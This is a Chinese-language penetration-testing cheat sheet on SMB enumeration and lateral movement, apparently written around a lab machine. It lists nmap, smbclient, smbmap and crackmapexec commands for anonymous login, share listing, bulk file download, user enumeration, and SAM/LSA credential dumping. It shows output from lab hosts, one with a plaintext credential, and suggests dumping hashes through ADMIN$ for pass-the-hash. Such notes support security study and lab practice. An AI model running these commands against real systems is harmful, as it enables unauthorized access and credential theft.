:::info
:::
枚举
sudo nmap -sT -sU -sV -p135,137,138,139,445 --open <IP>
nmap 脚本
# Enumerate shares
nmap --script smb-enum-shares -p 445 <IP>
# OS Discovery
nmap --script smb-os-discovery -p 445 <IP>
# Enumerate Users
nmap --script=smb-enum-users -p 445 <IP>
# All
nmap --script=smb-enum-users,smb-enum-shares,smb-os-discovery -p 139,445 <IP>
NULL/ Anonymous Login
# On some configuration omitting '-N' will grant access.
smbclient -U '' -L \\\\<IP>
smbclient -U '' -N -L \\\\<IP>
smbclient -U '%' -N -L \\\\<IP>
smbclient -U '%' -N \\\\<IP>\\<Folder>
smbmap -H ip -u anonymous
# Enter a random username with no password and try for anonymous login.
crackmapexec smb <IP> -u 'anonymous' -p ''
crackmapexec smb <IP> -u '' -p ''
crackmapexec smb <IP> -u '' -p '' --shares
Download Files
smbclient '\\<IP>\<Share>' -N -c 'prompt OFF;recurse ON; mget *'
#WIP
smbclient -U '' -L \\\\<IP> | awk '{print $1}' | grep -v 'Sharename\|Reconnecting\|Unable\|-\|Enter\| '
Crackmapexec
crackmapexec smb <IP> -u <User> -p <Password> --rid-brute | grep '(SidTypeUser)' # 用户&组枚举
crackmapexec smb <IP> -u <User> -p <Password> --lsa
crackmapexec smb <IP> -u <User> -p <Password> --sam
crackmapexec smb <IP> -u <User> -p <Password> --pass-pol
crackmapexec smb <IP> -u <User> -p <Password> --local-groups
crackmapexec smb <IP> -u <User> -p <Password> --groups
crackmapexec smb <IP> -u <User> -p <Password> --users
crackmapexec smb <IP> -u <User> -p <Password> --sessions
crackmapexec smb <IP> -u <User> -p <Password> --disks
crackmapexec smb <IP> -u <User> -p <Password> --loggedon-users
crackmapexec smb <IP> -u <User> -p <Password> --loggedon-users --sessions --users --groups --local-groups --pass-pol --sam --rid-brute 2000
Metasploit
use auxiliary/scanner/smb/smb_enumusers
内网渗透
IPC$
可以查看下面这一篇:
【内网安全-横向移动】IPC$连接—->计划任务—->上线_黑色地带(崛起)的博客-CSDN博客
简单来说就是一个共享命名管道资源,IPC$ 连接使用的是 445 端口。
下面我们使用一个实例:
$ smbmap.py -H 10.10.32.212 -u anonymous 1 ✘ 9s
[+] Guest session IP: 10.10.32.212:445 Name: 10.10.32.212
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
SYSVOL NO ACCESS Logon server share
VulnNet-Business-Anonymous READ ONLY VulnNet Business Sharing
VulnNet-Enterprise-Anonymous READ ONLY VulnNet Enterprise Sharing
在该实例中我们对于 IPC$ 具有 READ ONLY
,这时候我们可以枚举目标系统用户:
- 这时候我们可以使用 Impacket 工具包的 lookupsid.py 来枚举用户
- 使用 crackmapexec 进行枚举
- 或者其他脚本
ADMIN$
原因未知
我们使用这个实例进行解释:
$ smbmap.py -H 10.10.4.44 -u 'a-whitehat' -p 'bNdKVkjv3RR9ht' ✔
[+] IP: 10.10.4.44:445 Name: 10.10.4.44
[\] Work[!] Unable to remove test directory at \\10.10.4.44\SYSVOL\XFBWSGNTRQ, please remove manually
Disk Permissions Comment
---- ----------- -------
ADMIN$ READ, WRITE Remote Admin
C$ READ, WRITE Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ, WRITE Logon server share
SYSVOL READ, WRITE Logon server share
VulnNet-Business-Anonymous READ ONLY VulnNet Business Sharing
VulnNet-Enterprise-Anonymous READ ONLY VulnNet Enterprise Sharing
我们在这个用户的枚举中发现: ADMIN$
具有 READ, WRITE 我们可以利用此来转储 hash ,进而实现 PTH
- 使用 Impacket 的 secretsdump.py